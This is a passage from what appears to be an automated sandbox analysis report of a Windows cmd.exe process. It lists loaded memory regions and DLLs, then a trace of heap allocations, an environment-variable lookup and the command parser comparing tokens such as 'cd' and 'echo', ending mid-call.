end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1509 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1510 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1511 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1512 start_va = 0x270000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 1513 start_va = 0x74f30000 end_va = 0x74f6efff monitored = 0 entry_point = 0x74f5e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1514 start_va = 0x74ed0000 end_va = 0x74f2bfff monitored = 0 entry_point = 0x74f0f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1515 start_va = 0x74ec0000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74ec20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1516 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1517 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1518 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1519 start_va = 0x77340000 end_va = 0x7745efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077340000" filename = "" Region: id = 1520 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1521 start_va = 0x77240000 end_va = 0x77339fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077240000" filename = "" Region: id = 1522 start_va = 0x460000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1523 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1524 start_va = 0x771c0000 end_va = 0x77206fff monitored = 0 entry_point = 0x771c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1525 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1526 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1527 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1528 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1529 start_va = 0x270000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1530 start_va = 0x3e0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 1531 start_va = 0x75620000 end_va = 0x756cbfff monitored = 0 entry_point = 0x7562a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1532 start_va = 0x72140000 end_va = 0x72146fff monitored = 0 entry_point = 0x72141230 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 1576 start_va = 0x75520000 end_va = 0x7561ffff monitored = 0 entry_point = 0x7553b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1577 start_va = 0x76010000 end_va = 0x7609ffff monitored = 0 entry_point = 0x76026343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1578 start_va = 0x75a40000 end_va = 0x75a49fff monitored = 0 entry_point = 0x75a436a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 1579 start_va = 0x753f0000 end_va = 0x7548cfff monitored = 0 entry_point = 0x75423fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 1580 start_va = 0x75e80000 end_va = 0x75f1ffff monitored = 0 entry_point = 0x75e949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1581 start_va = 0x75c60000 end_va = 0x75c78fff monitored = 0 entry_point = 0x75c64975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1582 start_va = 0x760a0000 end_va = 0x7618ffff monitored = 0 entry_point = 0x760b0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1583 start_va = 0x75190000 end_va = 0x751effff monitored = 0 entry_point = 0x751aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1584 start_va = 0x75180000 end_va = 0x7518bfff monitored = 0 entry_point = 0x751810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1585 start_va = 0x2e0000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1586 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1587 start_va = 0x6d0000 end_va = 0x857fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 1588 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1589 start_va = 0x76f70000 end_va = 0x76fcffff monitored = 0 entry_point = 0x76f8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1590 start_va = 0x75b80000 end_va = 0x75c4bfff monitored = 0 entry_point = 0x75b8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 1591 start_va = 0x860000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 1592 start_va = 0x9f0000 end_va = 0x1deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 1606 start_va = 0x70000 end_va = 0x8ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cmd.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\cmd.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\cmd.exe.mui") Region: id = 1638 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1639 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1640 start_va = 0x460000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1641 start_va = 0x5d0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 1644 start_va = 0x1df0000 end_va = 0x20befff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 11 os_tid = 0x9a0 [0062.443] GetProcAddress (hModule=0x75c80000, lpProcName="SetConsoleInputExeNameW") returned 0x75caa775 [0062.444] GetProcessHeap () returned 0x5d0000 [0062.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x400a) returned 0x5eb940 [0062.444] GetProcessHeap () returned 0x5d0000 [0062.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4008) returned 0x5f36f8 [0062.444] GetProcessHeap () returned 0x5d0000 [0062.444] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5e5c08 [0062.444] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x4a700640, nSize=0x2000 | out: lpBuffer="") returned 0x12 [0062.444] GetProcessHeap () returned 0x5d0000 [0062.445] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e5c08 | out: hHeap=0x5d0000) returned 1 [0062.494] GetProcessHeap () returned 0x5d0000 [0062.494] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f36f8 | out: hHeap=0x5d0000) returned 1 [0062.494] GetProcessHeap () returned 0x5d0000 [0062.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4008) returned 0x5f36f8 [0062.495] GetProcessHeap () returned 0x5d0000 [0062.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5e5c08 [0062.495] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x4a700640, nSize=0x2000 | out: lpBuffer="") returned 0x12 [0062.495] GetProcessHeap () returned 0x5d0000 [0062.495] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e5c08 | out: hHeap=0x5d0000) returned 1 [0062.496] GetProcessHeap () returned 0x5d0000 [0062.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5f36f8 | out: hHeap=0x5d0000) returned 1 [0062.496] GetProcessHeap () returned 0x5d0000 [0062.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5eb940 | out: hHeap=0x5d0000) returned 1 [0062.497] _wcsicmp (_String1="cmd.exe", _String2=")") returned 58 [0062.497] _wcsicmp (_String1="FOR", _String2="cmd.exe") returned 3 [0062.497] _wcsicmp (_String1="FOR/?", _String2="cmd.exe") returned 3 [0062.497] _wcsicmp (_String1="IF", _String2="cmd.exe") returned 6 [0062.497] _wcsicmp (_String1="IF/?", _String2="cmd.exe") returned 6 [0062.497] _wcsicmp (_String1="REM", _String2="cmd.exe") returned 15 [0062.497] _wcsicmp (_String1="REM/?", _String2="cmd.exe") returned 15 [0062.497] GetProcessHeap () returned 0x5d0000 [0062.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e8ee0 [0062.498] GetProcessHeap () returned 0x5d0000 [0062.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5e7610 [0062.500] GetProcessHeap () returned 0x5d0000 [0062.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x9a) returned 0x5e8f40 [0062.501] GetProcessHeap () returned 0x5d0000 [0062.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e8fe8 [0062.501] _wcsicmp (_String1="cd", _String2=")") returned 58 [0062.501] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0062.501] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0062.501] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0062.501] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0062.501] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0062.501] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0062.501] GetProcessHeap () returned 0x5d0000 [0062.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e9048 [0062.501] GetProcessHeap () returned 0x5d0000 [0062.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe) returned 0x5e5e10 [0062.503] GetProcessHeap () returned 0x5d0000 [0062.503] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x88) returned 0x5e90a8 [0062.504] GetProcessHeap () returned 0x5d0000 [0062.504] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e9138 [0062.505] _wcsicmp (_String1="echo", _String2=")") returned 60 [0062.505] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0062.505] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0062.505] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0062.505] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0062.505] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0062.505] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0062.505] GetProcessHeap () returned 0x5d0000 [0062.505] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e9198 [0062.505] GetProcessHeap () returned 0x5d0000 [0062.505] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5e91f8 [0062.506] GetProcessHeap () returned 0x5d0000 [0062.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4e) returned 0x5e9218 [0062.506] GetProcessHeap () returned 0x5d0000 [0062.506] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5e5c08 [0062.508] GetProcessHeap () returned 0x5d0000 [0062.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0808 [0062.508] GetProcessHeap () returned 0x5d0000 [0062.508] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x50) returned 0x5e9270 [0062.509] GetProcessHeap () returned 0x5d0000 [0062.509] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e92c8 [0062.510] _wcsicmp (_String1="echo", _String2=")") returned 60 [0062.510] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0062.510] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0062.510] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0062.510] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0062.510] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0062.510] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0062.510] GetProcessHeap () returned 0x5d0000 [0062.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e9328 [0062.510] GetProcessHeap () returned 0x5d0000 [0062.510] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5e9388 [0062.511] GetProcessHeap () returned 0x5d0000 [0062.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x5e93a8 [0062.511] GetProcessHeap () returned 0x5d0000 [0062.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0830 [0062.511] GetProcessHeap () returned 0x5d0000 [0062.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0858 [0062.511] GetProcessHeap () returned 0x5d0000 [0062.511] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x32) returned 0x5e93e0 [0062.512] GetProcessHeap () returned 0x5d0000 [0062.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e9420 [0062.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5e9480 [0062.512] GetProcessHeap () returned 0x5d0000 [0062.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5e94e0 [0062.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x68) returned 0x5e9500 [0062.512] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0880 [0062.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d08a8 [0062.513] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6a) returned 0x5e9570 [0062.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5d0ff0 [0062.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5d1050 [0062.514] GetProcessHeap () returned 0x5d0000 [0062.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5d10b0 [0062.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x76) returned 0x5eb958 [0062.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d08d0 [0062.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d08f8 [0062.514] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x78) returned 0x5eb9d8 [0062.515] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5d10d0 [0062.516] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5d1130 [0062.516] GetProcessHeap () returned 0x5d0000 [0062.516] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5d1190 [0062.516] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6c) returned 0x5d11b0 [0062.516] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0920 [0062.516] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0948 [0062.516] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6e) returned 0x5d1228 [0062.517] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5d12a0 [0062.517] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5d1300 [0062.517] GetProcessHeap () returned 0x5d0000 [0062.517] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5d1360 [0062.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x84) returned 0x5ea180 [0062.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0970 [0062.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0998 [0062.518] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x86) returned 0x5ea210 [0062.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ea2a0 [0062.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ea300 [0062.519] GetProcessHeap () returned 0x5d0000 [0062.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ea360 [0062.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x48) returned 0x5ea380 [0062.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d09c0 [0062.519] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d09e8 [0062.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4a) returned 0x5ea3d0 [0062.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ed958 [0062.520] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ed9b8 [0062.521] GetProcessHeap () returned 0x5d0000 [0062.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ea428 [0062.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x68) returned 0x5ea448 [0062.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0a10 [0062.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0a38 [0062.521] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6a) returned 0x5ea4b8 [0062.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5eda18 [0062.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5eda78 [0062.522] GetProcessHeap () returned 0x5d0000 [0062.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ea530 [0062.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x32) returned 0x5ea550 [0062.522] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0a60 [0062.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0a88 [0062.523] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x34) returned 0x5ea590 [0062.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edad8 [0062.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edb38 [0062.524] GetProcessHeap () returned 0x5d0000 [0062.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ea5d0 [0062.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x68) returned 0x5ea5f0 [0062.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0ab0 [0062.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0ad8 [0062.524] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6a) returned 0x5ea660 [0062.525] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edb98 [0062.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edbf8 [0062.526] GetProcessHeap () returned 0x5d0000 [0062.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ea6d8 [0062.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x40) returned 0x5ea6f8 [0062.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0b00 [0062.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0b28 [0062.526] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x42) returned 0x5ea740 [0062.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edc58 [0062.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edcb8 [0062.566] GetProcessHeap () returned 0x5d0000 [0062.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ea790 [0062.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2e) returned 0x5ea7b0 [0062.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0b50 [0062.566] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0b78 [0062.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x30) returned 0x5ea7e8 [0062.567] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edd18 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edd78 [0062.568] GetProcessHeap () returned 0x5d0000 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ea820 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x36) returned 0x5ea840 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0ba0 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0bc8 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x38) returned 0x5ea880 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5eddd8 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ede38 [0062.568] GetProcessHeap () returned 0x5d0000 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ee958 [0062.568] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc4) returned 0x5ea8c0 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0bf0 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0c18 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xc6) returned 0x5ea990 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ede98 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edef8 [0062.569] GetProcessHeap () returned 0x5d0000 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ee978 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x82) returned 0x5eaa60 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0c40 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0c68 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x84) returned 0x5eaaf0 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edf58 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5edfb8 [0062.569] GetProcessHeap () returned 0x5d0000 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ee998 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7e) returned 0x5eab80 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0c90 [0062.569] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x20) returned 0x5d0cb8 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x80) returned 0x5eac08 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee018 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x58) returned 0x5ee078 [0062.570] GetProcessHeap () returned 0x5d0000 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x12) returned 0x5ee9b8 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x50) returned 0x5eac90 [0062.570] RtlAllocateHeap (HeapHandle=0x5d0000, 